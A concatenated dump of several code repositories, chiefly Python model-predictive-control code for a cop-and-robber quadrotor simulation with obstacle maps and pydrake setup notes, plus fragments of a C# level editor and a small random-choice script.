case SliderID.X:
CurrentX = value;
UpdateMaxValues();
break;
case SliderID.Y:
CurrentY = value;
UpdateMaxValues();
break;
case SliderID.Spawn:
SpawnSize = value;
break;
case SliderID.Tree:
AmountOfTrees = value;
break;
case SliderID.TreeSize:
TreeSpawnSize = value;
break;
case SliderID.Water:
AmountOfWater = value;
break;
case SliderID.WaterSize:
WaterSpawnSize = value;
break;
case SliderID.Rock:
AmountOfRock = value;
break;
case SliderID.RockSize:
RockSpawnSize = value;
break;
case SliderID.Iron:
AmountOfIron = value;
break;
case SliderID.IronSize:
IronSpawnSize = value;
break;
default:
break;
}
}
private void UpdateMaxValues()
{
int newMax = 0;
if ((currentX / 50) != (oldX / 50) || (currentY / 50) != (oldY / 50))
{
newMax += 15 * (currentX / 50);
newMax += 15 * (currentY / 50);
}
if (newMax != 0)
UpdateMaxValues(newMax);
oldX = currentX;
oldY = CurrentY;
}
//Updates the max value of resources depending on the size of the map
private void UpdateMaxValues(int newMax)
{
ironSlider.maxValue = newMax;
rockSlider.maxValue = newMax;
treeSlider.maxValue = newMax;
waterSlider.maxValue = newMax;
}
}
|
07cefd30ef1db715e812eaaa7c1773be728eeb00
|
[
"Markdown",
"C#"
] | 35 |
C#
|
TalllDwarf/TileLevelEditor
|
c2a09c4349d49f7776c0c8da6354bcd803341f9f
|
179ab261d474588335988dd33d81ae852ee3157b
|
refs/heads/master
|
<file_sep>#!/usr/bin/env python3
import random
x = random.randint(1, 6)
y = random.choice(["apple", "banana", "cherry", "duriam"])
print("x:%s, y: %s" %(x, y))
|
064c3c19778e92e62cf1ae24400b11e59dcdfe7b
|
[
"Python"
] | 1 |
Python
|
eduprivate/pyclass
|
297e16d80672135adf1f7e736d892c62352002f4
|
c6c8ed88cb6f60dbccdb01fa5631ceecf7c5edd5
|
refs/heads/master
|
<repo_name>akhild555/multi_robot_MPC<file_sep>/pydrake_setup.md
# Installing pydrake
```bash
curl -o drake.tar.gz https://drake-packages.csail.mit.edu/drake/continuous/drake-latest-bionic.tar.gz
sudo tar -xzf drake.tar.gz -C /opt
sudo apt-get update -o APT::Acquire::Retries=4 -qq
sudo apt-get install -o APT::Acquire::Retries=4 -o Dpkg::Use-Pty=0 -qy --no-install-recommends $(cat /opt/drake/share/drake/setup/packages-bionic.txt)
```
Then, add '/opt/drake/lib/python3.6/site-packages' to your system variable PYTHONPATH. (optional - if using PyCharm can skip)
# Configuring PyCharm
If using PyCharm (without a virtual environment):
- Open the project
- Add a configuration on base Python 3.6
- Edit the 'Environment variables' field
- Add variable 'PYTHONPATH' with value '/opt/drake/lib/python3.6/site-packages'
<file_sep>/environment_manager.py
import numpy as np
from numpy.linalg import norm
import matplotlib.pyplot as plt
from matplotlib.patches import Polygon, Circle, Rectangle, Ellipse
import matplotlib.pyplot as plt
class Map(object):
def __init__(self):
# print("in init")
self.red, self.blue, self.yellow, self.green = '#ff0000', '#0000ff', '#ffff00', '#00ff00'
# Plot Random Obstacles
def map_plot(self, ax, obstacles):
# Plot Obstacles
for obs in obstacles:
ax.add_patch(obs)
# Example
def map_0(self,ax):
# Bottom Left Corner, Width, Height
square = Rectangle((0.7, 0.1), 0.25, 0.25, facecolor=self.red)
# Center, Radius
circle = Circle((0.8, 0.8), 0.15, facecolor=self.blue)
# Vertices of Polygon
triangle = Polygon(((0.05,0.1), (0.396,0.1), (0.223, 0.38)), fc=self.yellow)
rhombus = Polygon(((0.5,0.2), (0.7,0.525), (0.5,0.85), (0.3,0.525)), fc=self.green)
# Center, Width, Height
ellipse = Ellipse((.75, .75), 1, 0.75)
obstacles = [square, circle, triangle, rhombus]
for shape in obstacles:
ax.add_patch(shape)
# Map 1: City Blocks
def map_1(self,ax):
square_init_y = 0.0
square_init_z = 0.0
square_width = 2
square_height = 2
z_spacing = 3
col_2 = 5 # Distance From 1st Col of Obs
col_3 = 10 # Distance From 2st Col of Obs
# Initialize Starting Obstacles
square_obs = [Rectangle((square_init_y, square_init_z), square_width, square_height, facecolor=self.red),
Rectangle((square_init_y + col_2, square_init_z), square_width, square_height, facecolor=self.blue),
Rectangle((square_init_y + col_3, square_init_z), square_width, square_height, facecolor=self.red)]
square_corner_y = square_init_y
square_corner_z = square_init_z
# Generate List of All Obstacles
for i in range(10):
# Create Left Block
square_obs.append(Rectangle((square_corner_y, square_corner_z + z_spacing),
square_width, square_height, facecolor=self.red))
# Create Center Block
square_obs.append(Rectangle((square_corner_y + col_2, square_corner_z + z_spacing),
square_width, square_height, facecolor=self.blue))
# Create Right Block
square_obs.append(Rectangle((square_corner_y + col_3, square_corner_z + z_spacing),
square_width, square_height, facecolor=self.red))
square_corner_z = square_corner_z + z_spacing
# Plot Obstacles
for obs in square_obs:
ax.add_patch(obs)
# Map 2: Symmetric Maze
def map_2(self,ax):
circle_init_y = 1.5
circle_init_z = 1.5
z_spacing_centered = 3 # For Centered Obstacles
z_spacing_offset = 1.5 # For Offset Obstacles
col_2 = 2 # Distance From 1st Col of Obs
col_3 = 4 # Distance From 1st Col of Obs
y_spacing_l = 0.75
y_spacing_r = 1
circle_radius = 0.25
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y + col_2, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y + col_3, circle_init_z), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(5):
# Create Centered Obstacles
# 1st Col
circle_obs.append(Circle((circle_center_y, circle_center_z + z_spacing_centered),
circle_radius, facecolor=self.blue))
# 2nd Col
circle_obs.append(Circle((circle_center_y + col_2, circle_center_z + z_spacing_centered),
circle_radius, facecolor=self.blue))
# 3rd Col
circle_obs.append(Circle((circle_center_y + col_3, circle_center_z + z_spacing_centered),
circle_radius, facecolor=self.blue))
# Create Offset Obstacles
# Left of 1st Col
circle_obs.append(Circle((circle_center_y - y_spacing_l, circle_center_z + z_spacing_offset),
circle_radius, facecolor=self.red))
# Right of 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_r, circle_center_z + z_spacing_offset),
circle_radius, facecolor=self.red))
# Right of 2nd Col
circle_obs.append(Circle((circle_center_y + col_2 + y_spacing_r, circle_center_z + z_spacing_offset),
circle_radius, facecolor=self.red))
# Right of 3rd Col
circle_obs.append(Circle((circle_center_y + col_3 + y_spacing_r, circle_center_z + z_spacing_offset),
circle_radius, facecolor=self.red))
circle_center_z = circle_center_z + z_spacing_centered
return circle_obs
# Map 3: Small Symmetric Maze
def map_3(self):
circle_init_y = 1.5
circle_init_z = 1.5
z_spacing_centered = 3 # For Centered Obstacles
z_spacing_offset = 1.5 # For Offset Obstacles
col_2 = 2 # Distance From 1st Col of Obs
col_3 = 4 # Distance From 1st Col of Obs
y_spacing_l = 0.75
y_spacing_r = 1
circle_radius = 0.25
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y + col_2, circle_init_z + 1), 0.4, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(1):
# Create Centered Obstacles
# 1st Col
# circle_obs.append(Circle((circle_center_y, circle_center_z + z_spacing_centered),
# circle_radius, facecolor=self.blue))
# 2nd Col
# circle_obs.append(Circle((circle_center_y + col_2, circle_center_z + z_spacing_centered),
# circle_radius, facecolor=self.blue))
# 3rd Col
# circle_obs.append(Circle((circle_center_y + col_3, circle_center_z + z_spacing_centered),
# circle_radius, facecolor=self.blue))
# Create Offset Obstacles
# Left of 1st Col
circle_obs.append(Circle((circle_center_y - y_spacing_l - 1, circle_center_z + z_spacing_offset),
0.5, facecolor=self.red))
# Right of 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_r, circle_center_z - z_spacing_offset),
circle_radius, facecolor=self.red))
# Right of 2nd Col
# circle_obs.append(Circle((circle_center_y + col_2 + y_spacing_r, circle_center_z + z_spacing_offset),
# circle_radius, facecolor=self.red))
# Right of 3rd Col
# circle_obs.append(Circle((circle_center_y + col_3 + y_spacing_r, circle_center_z + z_spacing_offset),
# circle_radius, facecolor=self.red))
circle_center_z = circle_center_z + z_spacing_centered
print("Generated Obstacles")
return circle_obs
# Map 4: Random Small Symmetric Maze
def map_4(self, ax, y_min, y_max, z_min, z_max):
# Choose Number of Obstacles
num_obs = 5
# Randomly Generate Circle Center
circle_centers_y = np.random.uniform(y_min, y_max, num_obs)
circle_centers_z = np.random.uniform(z_min, z_max, num_obs)
# Randomly Generate Circle Radii
circle_radii = np.random.uniform(0, 2, num_obs)
circle_obs = [] # Store Obstacles Generated
obs_safe_pos = [] # Store Safe Position Outside Obstacle
dist_bw_obs = [] # Store Distance Between Obstacles
obs_safe_dist = [] # Store Safe Distance Between Obstacles
# Create Obstacles
for i in range(num_obs):
circle_obs.append(Circle((circle_centers_y[i], circle_centers_z[i]), circle_radii[i], facecolor=self.blue))
# Determine Safe Distance Outside Obstacles
obs_safe_pos.append(circle_obs[i].radius + 0.05)
# Calculate Initial Distances Between Obstacles
for i in range(num_obs - 1):
for j in range(i+1,num_obs):
if j < num_obs:
# Nominal Distance Between Obstacles
dist_bw_obs.append(norm(np.array(circle_obs[i].center) - np.array(circle_obs[j].center)))
# Safe Distance Between Obstacles
obs_safe_dist.append(obs_safe_pos[i] + obs_safe_pos[j])
# Check If All Obstacles Are Safe Distance Away
if any(x < y for x, y in zip(dist_bw_obs, obs_safe_dist)):
# Keep Generating New Obstacles Until All Are Safe Distance Away
while any(x < y for x, y in zip(dist_bw_obs, obs_safe_dist)):
# Randomly Generate Circle Center
circle_centers_y = np.random.uniform(y_min, y_max, num_obs)
circle_centers_z = np.random.uniform(z_min, z_max, num_obs)
# Randomly Generate Circle Radii
circle_radii = np.random.uniform(0, 1.5, num_obs)
circle_obs = [] # Store Obstacles Generated
obs_safe_pos = [] # Store Safe Position Outside Obstacle
dist_bw_obs = [] # Store Distance Between Obstacles
obs_safe_dist = [] # Store Safe Distance Between Obstacles
# Create Obstacles
for i in range(num_obs):
circle_obs.append(Circle((circle_centers_y[i], circle_centers_z[i]), circle_radii[i], facecolor=self.blue))
# Determine Safe Distance Outside Obstacles
obs_safe_pos.append(circle_obs[i].radius + 0.05)
# Calculate Initial Distances Between Obstacles
for i in range(num_obs - 1):
for j in range(i + 1, num_obs):
if j < num_obs:
# Nominal Distance Between Obstacles
dist_bw_obs.append(norm(np.array(circle_obs[i].center) - np.array(circle_obs[j].center)))
# Safe Distance Between Obstacles
obs_safe_dist.append(obs_safe_pos[i] + obs_safe_pos[j])
print("Generated Obstacles")
return circle_obs
# Dense Maze
def map_5(self):
circle_init_y = 1.5
circle_init_z = 1.5
y_spacing_centered = 4 # For Centered Obstacles
y_spacing_offset = 2 # For Offset Obstacles
row_2 = 4 # Distance From 1st Row of Obs
row_3 = 8 # Distance From 1st Row of Obs
z_spacing_r = 2
circle_radius = 0.25
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_2), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_3), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(10):
# Create Centered Obstacles
# 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# Create Offset Obstacles
# Right of 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_2 + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_3 + z_spacing_r),
circle_radius, facecolor=self.red))
circle_center_y = circle_center_y + y_spacing_centered
print("Generated Obstacles")
return circle_obs
# Sparse Maze, Small Obstacles
def map_6(self):
circle_init_y = 1.5
circle_init_z = 1.5
y_spacing_centered = 16 # For Centered Obstacles
y_spacing_offset = 8 # For Offset Obstacles
row_2 = 8 # Distance From 1st Row of Obs
row_3 = 16 # Distance From 1st Row of Obs
z_spacing_r = 4
circle_radius = 0.5
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_2), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_3), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(3):
# Create Centered Obstacles
# 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# Create Offset Obstacles
# Right of 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_2 + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_3 + z_spacing_r),
circle_radius, facecolor=self.red))
circle_center_y = circle_center_y + y_spacing_centered
print("Generated Obstacles")
return circle_obs
# Sparse Maze, Large Obstacles
def map_7(self):
circle_init_y = 1.5
circle_init_z = 1.5
y_spacing_centered = 20 # For Centered Obstacles, 16
y_spacing_offset = 10 # For Offset Obstacles, 8
row_2 = 8 # Distance From 1st Row of Obs
row_3 = 16 # Distance From 1st Row of Obs
z_spacing_r = 4
circle_radius = 2
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_2), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_3), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(3):
# Create Centered Obstacles
# 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# Create Offset Obstacles
# Right of 1st Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 2nd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_2 + z_spacing_r),
circle_radius, facecolor=self.red))
# Right of 3rd Row
circle_obs.append(Circle((circle_center_y + y_spacing_offset, circle_center_z + row_3 + z_spacing_r),
circle_radius, facecolor=self.red))
circle_center_y = circle_center_y + y_spacing_centered
print("Generated Obstacles")
return circle_obs
# City Blocks
def map_8(self):
circle_init_y = 1.5
circle_init_z = 1.5
y_spacing_centered = 8 # For Centered Obstacles
row_2 = 4 # Distance From 1st Row of Obs
row_3 = 8 # Distance From 1st Row of Obs
row_4 = 12 # Distance From 1st Row of Obs
circle_radius = 1
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_2), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_3), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_4), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(4):
# Create Centered Obstacles
# 1st Row, 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row, 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row, 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# 4th Row, 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_4),
circle_radius, facecolor=self.blue))
circle_center_y = circle_center_y + y_spacing_centered
circle_center_y = circle_init_y
for i in range(5):
# 1st Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# 4th Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z + row_4),
circle_radius, facecolor=self.blue))
# 1st Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z),
circle_radius, facecolor=self.blue))
# 2nd Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# 4th Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_4),
circle_radius, facecolor=self.blue))
circle_center_y = circle_center_y + y_spacing_centered
print("Generated Obstacles")
return circle_obs
# City Blocks
def map_9(self):
circle_init_y = 1.5
circle_init_z = 1.5
y_spacing_centered = 8 # For Centered Obstacles
row_2 = 4 # Distance From 1st Row of Obs
row_3 = 8 # Distance From 1st Row of Obs
row_4 = 12 # Distance From 1st Row of Obs
circle_radius = 1
# Initialize Starting Obstacles
circle_obs = [Circle((circle_init_y, circle_init_z), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_2), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_3), circle_radius, facecolor=self.blue),
Circle((circle_init_y, circle_init_z + row_4), circle_radius, facecolor=self.blue)]
circle_center_y = circle_init_y
circle_center_z = circle_init_z
# Generate List of All Obstacles
for i in range(20):
# Create Centered Obstacles
# 1st Row, 1st Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z),
circle_radius, facecolor=self.blue))
# 4th Row, 1st Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_4),
circle_radius, facecolor=self.blue))
circle_center_y = circle_center_y + 2*circle_radius
circle_center_y = circle_init_y
for i in range(4):
# Create Centered Obstacles
# 2nd Row, 1st Col
circle_obs.append(Circle((circle_center_y + y_spacing_centered, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row, 1st Col
circle_obs.append(Circle((circle_center_y + + y_spacing_centered, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
circle_center_y = circle_center_y + y_spacing_centered
circle_center_y = circle_init_y
for i in range(5):
# 2nd Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 2nd Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_2),
circle_radius, facecolor=self.blue))
# 3rd Row, 2nd Col
circle_obs.append(Circle((circle_center_y + circle_radius, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
# 3rd Row, 3rd Col
circle_obs.append(Circle((circle_center_y + 2*circle_radius, circle_center_z + row_3),
circle_radius, facecolor=self.blue))
circle_center_y = circle_center_y + y_spacing_centered
print("Generated Obstacles")
return circle_obs
<file_sep>/quadrotor_robber.py
import numpy as np
import matplotlib.pyplot as plt
from numpy.linalg import inv
from numpy.linalg import cholesky
from math import sin, cos
import math
from scipy.interpolate import interp1d
from scipy.integrate import ode
from scipy.integrate import solve_ivp
from scipy.linalg import expm
from scipy.linalg import solve_continuous_are
from pydrake.solvers import mathematicalprogram as mp
from pydrake.solvers.osqp import OsqpSolver
from pydrake.solvers.snopt import SnoptSolver
from pydrake.solvers.mathematicalprogram import MathematicalProgram, Solve
import pydrake.symbolic as sym
from pydrake.all import MonomialBasis, OddDegreeMonomialBasis, Variables
class QuadrotorRobber(object):
def __init__(self, Q, R, Qf):
self.g = 9.81
self.m = 1
self.a = 0.25
self.I = 0.0625
self.Q = Q
self.R = R
self.Qf = Qf
# Input limits
self.umin = 0
self.umax = 5.5
self.n_x = 6
self.n_u = 2
self.w_x = 1
self.w_u = 1
# Collision cost weights (max cost 2)
self.w_y = 1.33
self.w_z = 2.5
self.D_y = 1.5
self.D_z = 0.8
self.obstacle_margin = 0.5
def x_d(self):
# Nomial state
return np.array([0, 0, 0, 0, 0, 0])
def u_d(self, x_d):
# Nomial input
return np.array([self.m*self.g/(2*cos(x_d[2])), self.m*self.g/(2*cos(x_d[2]))])
def continuous_time_full_dynamics(self, x, u):
# Dynamics for the quadrotor
g = self.g
m = self.m
a = self.a
I = self.I
theta = x[2]
ydot = x[3]
zdot = x[4]
thetadot = x[5]
u0 = u[0]
u1 = u[1]
xdot = np.array([ydot,
zdot,
thetadot,
-sin(theta) * (u0 + u1) / m,
-g + cos(theta) * (u0 + u1) / m,
a * (u0 - u1) / I])
return xdot
def continuous_time_linearized_dynamics(self, x_des):
# Dynamics linearized at the fixed point
# This function returns A and B matrix
u_des = self.u_d(x_des)
A = np.zeros((6,6))
A[:3, -3:] = np.identity(3)
A[3, 2] = (-cos(x_des[2])/self.m)*(u_des[0] + u_des[1])
A[4, 2] = (-sin(x_des[2]) / self.m) * (u_des[0] + u_des[1])
B = np.zeros((6,2))
B[3,0] = -sin(x_des[2])/self.m
B[3,1] = -sin(x_des[2])/self.m
B[4,0] = cos(x_des[2])/self.m
B[4,1] = cos(x_des[2])/self.m
B[5,0] = self.a/self.I
B[5,1] = -self.a/self.I
return A, B
def discrete_time_linearized_dynamics(self, x_des, T):
# Discrete time version of the linearized dynamics at the fixed point
# This function returns A and B matrix of the discrete time dynamics
A_c, B_c = self.continuous_time_linearized_dynamics(x_des)
A_d = np.identity(6) + A_c * T
B_d = B_c * T
return A_d, B_d
def add_initial_state_constraint(self, prog, x, x_des, x_current):
# TODO: impose initial state constraint.
# Use AddBoundingBoxConstraint
prog.AddBoundingBoxConstraint(x_current - x_des, x_current - x_des, x[0])
# pass
def add_input_saturation_constraint(self, prog, x, x_des, u, N):
# TODO: impose input limit constraint.
# Use AddBoundingBoxConstraint
# The limits are available through self.umin and self.umax
for i in range(N-1):
prog.AddBoundingBoxConstraint(self.umin-self.u_d(x_des), self.umax-self.u_d(x_des), u[i])
# pass
def add_linear_velocity_constraint(self, prog, x, x_des, N):
# -2.5 m/s <= x_dot,y_dot <= 2.5 m/s
# N or N-1?
v_min = -2.5
v_max = 2.5
for i in range(N):
prog.AddBoundingBoxConstraint(v_min - x_des[3:5], v_max - x_des[3:5], x[i][3:5])
# pass
def add_angular_velocity_constraint(self, prog, x, x_des, N):
# -0.075 rad/s <= w <= 0.075 rad/s
# N or N-1?
w_min = -0.7
w_max = 0.7
for i in range(N):
prog.AddBoundingBoxConstraint(w_min - x_des[5], w_max - x_des[5], x[i][5])
# pass
def add_acceleration_constraint(self, prog, x, x_des, N):
# # -0.25 m/s^2 <= a <= 0.25 m/s^2
a_min = -10
a_max = 10
dt = 1e-2
for i in range(1, N):
accel = (x[i][3:5] - x[i - 1][3:5])# 1 sec Interval
prog.AddLinearConstraint(accel[0] <= a_max) # y_ddot UB
prog.AddLinearConstraint(accel[0] >= a_min) # y_ddot LB
prog.AddLinearConstraint(accel[1] <= a_max) # z_ddot UB
prog.AddLinearConstraint(accel[1] >= a_min) # z_ddot LB
# pass
def add_angular_acceleration_constraint(self, prog, x, x_des, N):
# # -0.005 rad/s^2 <= alpha <= 0.005 rad/s^2
alpha_min = -10
alpha_max = 10
dt = 1e-2
for i in range(1, N):
accel = (x[i][5] - x[i - 1][5]) #1 sec Interval
prog.AddLinearConstraint(accel <= alpha_max) # theta_ddot UB
prog.AddLinearConstraint(accel >= alpha_min) # theta_ddot LB
# pass
def add_obstacle_constraint(self, prog, x, x_des, N, obstacles):
for i in range(N):
y = x[i][0] + x_des[0]
z = x[i][1] + x_des[1]
quad_loc = np.array([y, z])
for obstacle in obstacles:
obs_center = np.array(obstacle.center)
obs_radius = obstacle.radius
dist = np.linalg.norm(quad_loc - obs_center)
prog.AddConstraint(dist >= obs_radius + self.obstacle_margin)
def add_dynamics_constraint(self, prog, x, x_des, u, N, T):
# TODO: impose dynamics constraint.
# Use AddLinearEqualityConstraint(expr, value)
A, B = self.discrete_time_linearized_dynamics(x_des, T)
for i in range(N-1):
val = A @ (x[i]) + B @ u[i]
prog.AddLinearEqualityConstraint((x[i+1])-val, np.zeros(len(x[i])))
# pass
# Find Closest Cop and Maximize Distance to It
# def add_cost(self, prog, x, x_js, x_des, u, N):
# # TODO: add cost.
# expr = 0
# D_j = np.zeros(len(x_js))
# for i in len(x_js):
# # Calculate Distance Between Robber and Each Cop
# D_j[i] = np.linalg.norm(x[0][0:2] - x_js[i][0:2])
# # Find Index of Closest Cop
# close_cop = np.argmin(D_j)
# # Don't think you need Collision Avoidance Constraint
# if D_j < self.D:
# expr += self.w_j*(D_j - self.D)**2
# # Calculate Cost Expression Over Entire Horizon, x_js will need othe waypoint info
# # Or just use current distance expression as cost
# for i in range(N-1):
# val1 = np.linalg.norm(x[i][0:2] - x_js[i][0:2])
# val2 = u[i].T @ self.R @ u[i]
# expr += val1 + val2
# expr += (x[N-1]-x_des).T @ self.Qf @ (x[N-1]-x_des)
# prog.AddQuadraticCost(-expr)
# pass
# HW6 Cost
def add_cost(self, prog, x, u, N):
# TODO: add cost.
expr = 0
for i in range(N - 1):
val1 = x[i].T @ self.Q @ x[i]
val2 = u[i].T @ self.R @ u[i]
expr += val1 + val2
expr += (x[N - 1]).T @ self.Qf @ x[N - 1]
prog.AddQuadraticCost(expr)
def add_collision_cost(self, prog, x, x_current, x_js, x_des, N):
for i in range(1, N):
for x_j in x_js:
dist = (x_current[:2] - x_j[:2]) ** 2
#curr_tar_dist = sum(x_current[:2] - x_des[:2] ** 2)
#j_tar_dist = sum(x_j[:2] - x_des[:2] ** 2)
if dist[0] < self.D_y ** 2 and dist[1] < self.D_z ** 2:
expr_y = (x[i][0] - x_j[0] + x_des[0]) ** 2
expr_z = (x[i][1] - x_j[1] + x_des[1]) ** 2
prog.AddQuadraticCost(self.w_y * (self.D_y**2 - expr_y) + self.w_z * (self.D_z**2 - expr_z))
# def compute_mpc_feedback(self, x_current, x_js, x_des):
def compute_mpc_feedback(self, x_current, x_des, x_js, obstacles):
'''
This function computes the MPC controller input u
'''
# Parameters for the QP
N = 10
T = 0.1
# Initialize mathematical program and decalre decision variables
prog = MathematicalProgram()
x = np.zeros((N, 6), dtype="object")
for i in range(N):
x[i] = prog.NewContinuousVariables(6, "x_" + str(i))
u = np.zeros((N-1, 2), dtype="object")
for i in range(N-1):
u[i] = prog.NewContinuousVariables(2, "u_" + str(i))
# Add constraints and cost
self.add_initial_state_constraint(prog, x, x_des, x_current)
self.add_input_saturation_constraint(prog, x, x_des, u, N)
#self.add_linear_velocity_constraint(prog, x, x_des, N)
#self.add_angular_velocity_constraint(prog, x, x_des, N)
#self.add_acceleration_constraint(prog, x, x_des, N)
#self.add_angular_acceleration_constraint(prog, x, x_des, N)
self.add_obstacle_constraint(prog, x, x_des, N, obstacles)
self.add_dynamics_constraint(prog, x, x_des, u, N, T)
# self.add_cost(prog, x, x_js, x_des, u, N)
self.add_cost(prog, x, u, N)
self.add_collision_cost(prog, x, x_current, x_js, x_des, N)
# Solve the QP
solver = SnoptSolver()
result = solver.Solve(prog)
u_mpc = np.zeros(2)
# TODO: retrieve the controller input from the solution of the optimization problem
# and use it to compute the MPC input u
# You should make use of result.GetSolution(decision_var) where decision_var
# is the variable you want
u_mpc = result.GetSolution(u[0]) + self.u_d(x_des)
return u_mpc<file_sep>/quad_sim.py
import numpy as np
from math import sin, cos, pi
from scipy.integrate import solve_ivp
from scipy.interpolate import interp1d
from quadrotor import Quadrotor
import matplotlib.pyplot as plt
import time
def closest_cop(cop_positions, robber_position):
# initialize
dist = np.inf
# calculate closes cop to robber
for i in cop_positions:
dist_new = (((i[0] - robber_position[0]) ** 2) + ((i[1] - robber_position[1]) ** 2) ** (1/2))
if dist_new < dist:
dist = dist_new
close_cop_pos = i
close_cop = np.array([close_cop_pos[0], close_cop_pos[1], 0,0,0,0])
return close_cop
def furthest_point_from_cop(close_cop, env_extents):
# initialize
dist = -1
furthest_point = np.array([0, 0])
# calculate furthest point from cop in environment
for i in env_extents:
dist_new = (((i[0] - close_cop[0]) ** 2) + ((i[1] - close_cop[1]) ** 2) ** (1 / 2))
if dist_new > dist: # and dist_new < 10:
dist = dist_new
furthest_point = i
furthest_point = np.array([furthest_point[0], furthest_point[1], 0, 0, 0, 0])
return furthest_point
def robber_desired_pos(x_rob_des, furthest_point, obstacles):
margin = 0.5
# calculate furthest point from
# interpolation function between current goal and furthest point
